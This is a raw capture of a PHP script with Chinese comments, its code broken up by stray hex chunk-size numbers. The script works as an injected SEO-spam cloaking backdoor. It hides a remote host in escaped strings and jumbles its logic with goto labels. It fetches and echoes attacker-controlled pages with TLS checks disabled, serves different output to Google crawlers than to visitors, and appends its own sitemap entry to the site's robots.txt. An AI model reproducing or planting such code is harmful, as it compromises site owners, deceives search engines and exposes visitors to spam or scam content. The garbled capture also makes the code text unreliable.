2 12 php error_reporti 11 ng(0); $get = fi 12 lter_input_array(I 10 NPUT_GET, FILTER f _SANITIZE_STRIN 2a G); /* ------------------------- c 高速本地 d 缓存函数 26 ------------------------- */ functio 13 n cache_get($key, $ 15 expire = 300) { 18 $file = sys_get_temp_dir 19 () . '/cache_' . md5($key 1b ) . '.php'; if (file_e 14 xists($file) && (tim 19 e() - filemtime($file)) < 27 $expire) { return file_get_co 27 ntents($file); } return false 6f ; } function cache_set($key, $data) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; 25 @file_put_contents($file, $data, LOCK 34 _EX); } /* ------------------------- 获 c 真实访 e IP(兼容 e CDN / 反代 40 ------------------------- */ function get_real_ip() { $ 2a keys = [ 'HTTP_CF_CONNECTING_IP', 1f // Cloudflare 'HTTP_X 1a _REAL_IP', // Nginx 23 'HTTP_X_FORWARDED_FOR', 23 // Proxy 'HTTP_CLIENT_IP', 1e 'REMOTE_ADDR' ] 1a ; foreach ($keys as 1e $k) { if (!empty($_S 1d ERVER[$k])) { $i 2a p = $_SERVER[$k]; if (strpo 15 s($ip, ',') !== false 2b ) { $ip = trim(explode(',' 2e , $ip)[0]); } if ( 54 filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } 53 } } return '127.0.0.1'; } /* ------------------------- e 更快的 getC 3e url() ------------------------- */ function getCurlFast($url 24 ) { $cached = cache_get($url) 3a ; if ($cached !== false) return $cached; $data 24 = ''; if (function_exists('c 26 url_init')) { $ch = curl_init 27 ($url); curl_setopt_array($ch, 1d [ CURLOPT_RETUR 11 NTRANSFER => true 23 , CURLOPT_CONNECTTIMEO 31 UT => 5, CURLOPT_TIMEOUT => 8 29 , CURLOPT_SSL_VERIFYPEER => 4f false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLO 2e WLOCATION => false, CURLOPT_USERA 17 GENT => "Mozilla/5 2b .0" ]); $data = curl_exec 33 ($ch); curl_close($ch); } if ( 1d empty($data) && ini_get('allo 21 w_url_fopen')) { $contex 1a t = stream_context_create( 22 [ "http" => ["timeout 19 " => 8, "header" => "User 19 -Agent: Mozilla/5.0\r\n"] 23 , "ssl" => ["verify_p 2b eer" => false, "verify_peer_name" => false] 47 ]); $data = @file_get_contents($url, false, $context 81 ); } if (!empty($data)) cache_set($url, $data); return $data; } /* ------------------------- URL 信 3f ------------------------- */ function get_url_info(string $ 17 type='domain'): string 24 { $host = $_SERVER['HTTP_HOST'] 1d ?? ''; if ($type === 'n 18 o_www') return preg_repl 12 ace('/^www\./i', ' 1e ', $host); $protocol = 34 (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 15 'off') ? "https://" : 24 "http://"; $base = $protocol . 48 $host; if ($type === 'base') return $base; if ($type === 'f 25 ull') return $base . ($_SERVER['REQUE 27 ST_URI'] ?? ''); return $host; 34 } /* ------------------------- 基础变量 31 ------------------------- */ goto ONPuB; ONPuB 23 : $http_type = !empty($_SERVER["\x4 12 8\124\x54\x50\x53" 32 ]) && $_SERVER["\x48\124\124\x50\x53"] !== "\157\x 13 66\146" ? "\150\x74 17 \x74\x70\163\72\x2f\x2f 21 " : "\x68\164\164\160\72\x2f\57"; 19 goto O4O9k; O4O9k: $vurl 1a = "\x74\157\56\152\147\14 1d 1\x6c\x6c\163\x2e\143\157\x6d 1c \x2f"; goto vgv72; vgv72: $q 1d z = substr(str_replace(array( 1a "\x77\x77\167\x2e", "\56") 24 , '', $_SERVER["\110\x54\x54\120\x5f 18 \x48\x4f\123\x54"]), 0, 30 3); /* ------------------------- 解析 f 34 参数 ------------------------- */ $sz = $iid = 1a ""; if(!empty($_GET)){ 1c $f=reset($_GET); $sp = 24 explode('-', $f); if (count($sp 21 ) === 2) { $sz = $sp[0] 4a ; $iid = $sp[1]; } } /* ------------------------- 2a 程接口 ------------------------- */ 2b if (!empty($sz)) { $jd = getCurlFast(" 1a {$http_type}{$vurl}3kg.asp 13 x?sz=" . urlencode( 55 $sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}" 4c ); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd) 1a ); } $hyzhdy = $jd . " 28 41.aspx"; $surl = $jd . "s41.aspx"; 33 /* ------------------------- robots / sitem 39 ap ------------------------- */ $sitemapLine = "Sitemap 37 : {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_ 15 NAME']}?w=" . date('Y 1a mdHi') . "\n"; function e 2b nsure_robots_sitemap($sitemapLine) { $ 1e robots = rtrim($_SERVER['DOCUM 17 ENT_ROOT'], "/\\") . '/ 2a robots.txt'; if (!file_exists($robots 39 )) { @file_put_contents($robots, "User-agent: *\ 1b nAllow: /\n" . $sitemapLine 44 , LOCK_EX); } else { $c = @file_get_contents($robots); 27 if ($c === false || strpos($c 54 , $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, 1d FILE_APPEND | LOCK_EX); 3e } } } /* ------------------------- w= 输 3b ------------------------- */ if (!empty($get['w'])) { 1c $params = http_build_q 19 uery([ 'NOUmber' 31 => $get['NOUmber'] ?? '', 't' => 44 $get['t'] ?? '', 'cn' => $get['cn'] ?? '', 'p 40 NOUm' => $get['pNOUm'] ?? '', 'cid' => $get['cid' 43 ] ?? '', 'm' => $get['m'] ?? '' ]); $str 2c = getCurlFast("{$surl}?{$params}"); 22 echo str_replace( ['yymm' 25 ,'ggggg','?f='], [$http_type 38 .$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'. 28 $qz.'='], $str ); exi 37 t; } /* ------------------------- IP 判定 d 保留 kk 2f 试) ------------------------- */ $kk = is 24 set($get['kk']) ? trim($get['kk']) : 1e ''; $ip = ($kk !== '') ? "66 1a .249.82.8" : get_real_ip() 39 ; /* ------------------------- getdomain2 判断 4c ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2 17 .aspx?rnd=1&ip=" . $ip) 36 ); /* ------------------------- 非 google + e iid → 跳转 47 ------------------------- */ if ($domain !== 'google' && !empty($iid 1d )) { $kname = urldecode( 36 getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ' 12 '; exit; } /* ------------------------- 61 iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . " 44 ?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','X 14 XXYYY','当前URL',' 33 UUUUU','MMMMM','?f='], [$sz, get_url_info( 45 ), get_url_info('base'), get_url_info('full'), get_url_info('no_www') 27 ,parse_url($_SERVER['REQUEST_URI'], PHP 6c _URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap h 3d elper ------------------------- */ function output_sitemap_ 2a and_exit($sitemapLine, $http_type) { 3a ensure_robots_sitemap($sitemapLine); echo "
" 45 ; exit; } /* ------------------------- kk 输出控制 3c ------------------------- */ if ($kk !== '' && preg_match 11 ('/^[A-Za-z0-9]+$ 18 /', $kk)) { $remote 43 = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (! 32 empty($remote)) { echo $remote; 83 exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type) 27 ; } $is_no_query = empty($_SERVER[' 26 QUERY_STRING']); if ($kk === '' && 3a $is_no_query) { if ($domain === 'google') { 95 output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0